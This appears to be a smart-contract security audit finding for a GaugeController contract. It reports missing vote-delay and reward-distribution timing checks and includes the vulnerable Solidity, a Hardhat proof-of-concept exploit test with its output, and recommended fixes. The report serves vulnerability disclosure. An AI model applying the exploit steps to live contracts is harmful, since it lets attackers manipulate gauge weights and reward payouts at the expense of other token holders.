Summary
The GaugeController contract contains critical vulnerabilities in its voting and reward distribution mechanisms. Despite having defined vote delay constants and period tracking, the implementation lacks proper enforcement of voting delays and emission schedules, allowing potential manipulation of gauge weights and reward distributions.
The distributeRewards function does not enforce the emission rates and no period tracking for distributions and there is no minimum time between distributions.
Vulnerability Details
Despite having VOTE_DELAY and lastVoteTime state variables in the GaugeController contract, the function doesn't check time since last vote which would allow unlimited vote changes, the GaugeController::vote can be called multiple times and this will cause rapid gauge weight manipulation.
looking at the distributeRewards function anyone can call it, it is important to put a guard to valid that it can only be called periodically when the mininum time of reward distribution has been reached. The critical vulnurabilities in the distributeRewards function is that it does not validate the minimum for reward distribution and also there is no period tracking for distributions, so it can be called after each vote.
Attack Path
An attacker who hold veToken could always monitor the blockchain for any vote that is been casted and then cast his vote with a higher weight than the previous one since the contract does not enforce the lastVoteTime and attack can easly do this, then call the distributeRewards periodically or at his will to distribute rewards when he see that the guage hass enough token balance.
uint256 public constant VOTE_DELAY = 10 days;
mapping(address => uint256) public lastVoteTime;
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
function _calculateReward(address gauge) internal view returns (uint256) {
Gauge storage g = gauges[gauge];
uint256 totalWeight = getTotalWeight();
if (totalWeight == 0) return 0;
uint256 gaugeShare = (g.weight * WEIGHT_PRECISION) / totalWeight;
uint256 typeShare = (typeWeights[g.gaugeType] * WEIGHT_PRECISION) / MAX_TYPE_WEIGHT;
uint256 periodEmission = g.gaugeType == GaugeType.RWA ? _calculateRWAEmission() : _calculateRAACEmission();
return (periodEmission * gaugeShare * typeShare) / (WEIGHT_PRECISION * WEIGHT_PRECISION);
}
POC:
describe("Vote Management", () => {
beforeEach(async () => {
await veRAACToken.mint(user1.address, ethers.parseEther("10"));
await veRAACToken.mint(user2.address, ethers.parseEther("10"));
await veRAACToken.mint(user3.address, ethers.parseEther("10"));
await rewardToken.mint(
await rwaGauge.getAddress(),
ethers.parseEther("1000000")
);
const currentTime = BigInt(await time.latest());
const nextPeriodStart =
(currentTime / BigInt(MONTH) + 1n) * BigInt(MONTH);
await time.setNextBlockTimestamp(Number(nextPeriodStart));
await network.provider.send("evm_mine");
});
it.only("should exploit the vulnerability in the vote and distributeReward", async () => {
const attacker = user1;
await gaugeController
.connect(attacker)
.vote(await rwaGauge.getAddress(), 1000);
console.log(
"\n data in the guage on first vote ",
await gaugeController.getGaugeWeight(await rwaGauge.getAddress())
);
await gaugeController
.connect(user2)
.vote(await rwaGauge.getAddress(), 1001);
console.log(
"\n data in the guage on second vote ",
await gaugeController.getGaugeWeight(await rwaGauge.getAddress())
);
const guageInitialBalance = await rewardToken.balanceOf(
await rwaGauge.getAddress()
);
console.log("\n guage initial balance ", guageInitialBalance);
await gaugeController.distributeRewards(await rwaGauge.getAddress());
await gaugeController
.connect(attacker)
.vote(await rwaGauge.getAddress(), 1002);
console.log(
"data in the guage on third vote ",
await gaugeController.getGaugeWeight(await rwaGauge.getAddress())
);
await gaugeController
.connect(user3)
.vote(await rwaGauge.getAddress(), 2000);
console.log(
"data in the guage on fourth vote ",
await gaugeController.getGaugeWeight(await rwaGauge.getAddress())
);
await gaugeController
.connect(attacker)
.vote(await rwaGauge.getAddress(), 2000);
console.log(
"data in the guage on fifth vote ",
await gaugeController.getGaugeWeight(await rwaGauge.getAddress())
);
await gaugeController.distributeRewards(await rwaGauge.getAddress());
});
});
Output
GaugeController
vote Management
data in the guage on first vote 1000000000000000000n
data in the guage on second vote 2001000000000000000n
guage initial balance 1000000000000000000000000n
data in the guage on third vote 2003000000000000000n
data in the guage on fourth vote 4003000000000000000n
data in the guage on fifth vote 5001000000000000000n
✔ should exploit the vulnerability in the vote and distributeReward
Impact
Because the GuageController::distributeRewards calls the IGauge(gauge).notifyRewardAmount(reward) this will
cause reward rate manipulation because it will frequently updates the rewardRate, lastUpdateTime and rewardPerTokenStored .
Manipulate timing of reward distributions and Inconsistent reward accrual periods.
This breaks "Users vote with veRAACToken to allocate weights to gauges" which allows rapid weight changes without delay and also compromises voting power stability.
Tools Used
Manual code review
Recommendations
mapping(address => uint256) public lastDistributionTime;
uint256 public constant MIN_DISTRIBUTION_INTERVAL = 7 days;
error DistributionTooFrequent();
error VoteTooFrequent();
function distributeRewards(address gauge) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 minInterval = gauges[gauge].gaugeType == GaugeType.RWA ? 30 days : 7 days;
if (block.timestamp - lastDistributionTime[gauge] < minInterval) {
revert DistributionTooFrequent();
}
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
lastDistributionTime[gauge] = block.timestamp;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
if (block.timestamp - lastVoteTime[msg.sender] < VOTE_DELAY) {
revert VoteTooFrequent();
}
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
lastVoteTime[msg.sender] = block.timestamp;
emit WeightUpdated(gauge, oldWeight, weight);
}